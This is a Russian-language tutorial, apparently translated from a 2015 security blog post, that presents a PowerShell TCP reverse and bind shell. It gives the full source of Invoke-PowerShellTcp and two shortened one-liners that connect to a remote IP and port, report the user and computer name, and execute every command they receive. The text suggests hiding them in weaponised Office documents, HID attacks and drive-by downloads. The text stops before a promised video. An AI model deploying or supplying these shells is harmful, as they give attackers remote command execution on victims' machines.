25.10.2015

Мастер-класс по работе с PowerShell. Часть 1 – Шелл на базе протокола TCP

image

PowerShell не нуждается в представлении. Эта утилита - одна из основных в арсенале каждого специалиста по компьютерной безопасности. PowerShell является частью ОС Windows, что позволяет выполнять различные фокусы и трюки, чем я и другие хакеры периодически занимаемся и делимся своими мыслями и скриптами.

Автор: Nikhil SamratAshok Mittal

Введение

PowerShell не нуждается в представлении. Эта утилита - одна из основных в арсенале каждого специалиста по компьютерной безопасности. PowerShell является частью ОС Windows, что позволяет выполнять различные фокусы и трюки, чем я и другие хакеры периодически занимаемся и делимся своими мыслями и скриптами.

Во время бесед и тренингов я постоянно наблюдаю плохую осведомленность о возможностях PowerShell с обеих сторон баррикад. Часто специалисты по компьютерной безопасности даже не подозревают о том, как PowerShell может значительно упростить им жизнь. Многие мои коллеги не особо жалуют PowerShell только потому, что эта утилита является детищем компании Microsoft. Короче говоря, чтобы повысить осведомленность и репутацию PowerShell в глазах сообщества, представляю вам новый цикл мастер-классов, цель которых – рассмотреть методы работы с PowerShell в различных аспектах.

В первой части мы рассмотрим методы работы с PowerShell через протокол TCP.

Начнем с обратного шелла (reverse shell). Моя разработка сделана на основе прекрасной статьи, написанной Беном Тернером (@benpturner) и Дэйвом Харди (@davehardy20). Там рассказывается о том, как работать с PowerShell в связке с Metasploit. После некоторых правок я получил скрипт Invoke-PowerShellTcp, который может работать в режиме reverse shell или bind shell.

Исходный код скрипта (без документации) выглядит так:

function Invoke-PowerShellTcp
{
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,

[Parameter(ParameterSetName="bind")]
[Switch]
$Bind

)

#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}

#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}

$stream = $client.GetStream()
[byte[]]$bytes = 0..255|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user "
+ $env:username + " on " + $env:computername + "
`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)

#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x

#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
$listener.Stop()
}

Скрипт также можно найти в следующей папке: https://github.com/samratashok/nishang/tree/master/Shells

На рисунке ниже показан сервер (listener), запущенный на Kali linux:

http://2.bp.blogspot.com/-FogB0vU_fBk/VVCPu6nklGI/AAAAAAAABPc/tOIv9EkM7Ig/s1600/Reverse_Linux.png

Рисунок 1: Работа в режиме reverse shell

Сервер можно установить и на Windows-машине. На рисунке ниже в качестве listener’а используется powercat (https://github.com/besimorhino/powercat):

http://3.bp.blogspot.com/-tbUSwybq81w/VVCQH3CXcPI/AAAAAAAABPk/q01-LbikquY/s1600/Reverse_powercat.png

Рисунок 2: Сервер на базе powercat

На рисунке ниже показано использование скрипта Invoke-PowerShellTcp в режиме bind shell:

http://2.bp.blogspot.com/-x7GdynOx9OI/VVCSFhDa_ZI/AAAAAAAABPw/cCy9-jEIiRw/s1600/Bind_powercat.png

Рисунок 3: Работа в режиме bind shell

Интерактивная оболочка PowerShell может помочь нам во многих ситуациях. В одной из предыдущих статей я рассказывал о выгрузке паролей в Windows 8.1 и Windows Server 2012. Без PowerShell в том случае получить результат не представлялось возможным.

Таким же образом мы можем использовать powercat:

http://3.bp.blogspot.com/-LFJL6JybwUo/VVCWKWu_HWI/AAAAAAAABP8/r57l1w-aIIU/s1600/powercat.png

Рисунок 4: Вместо Invoke-PowerShellTcp используется powercat

Выбирайте тот или иной скрипт в зависимости от ситуации.

Обратите внимание, что исходный код Invoke-PowerShellTcp небольшого размера, что позволяет использовать этот скрипт в различных атаках. Например, в заряженных документах для MS Office, атаках на HID-устройства, атаках типа drive-by-download, манипуляциях с записями DNS TXT и других видах атак, где желателен скрипт небольшого размера. Скрипт Invoke-PowerShellTcp можно сократить еще, если убрать обработку ошибок и интерактивный ввод. Ниже показан укороченный скрипт Invoke-PowerShellTcpOneLine:

$client = New-Object System.Net.Sockets.TCPClient("192.168.254.1",4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).
Path + "> ";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);

$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

В еще более укороченной версии ничего не выводится на экран:

#$sm=(New-Object Net.Sockets.TCPClient("192.168.254.1",55555)).GetStream();[byte[]]$bt=0..255|%
{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=
([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

Ниже показано видео, где используется скрипт Invoke-PowerShellTcp в связке с заряженным документом для MS Word: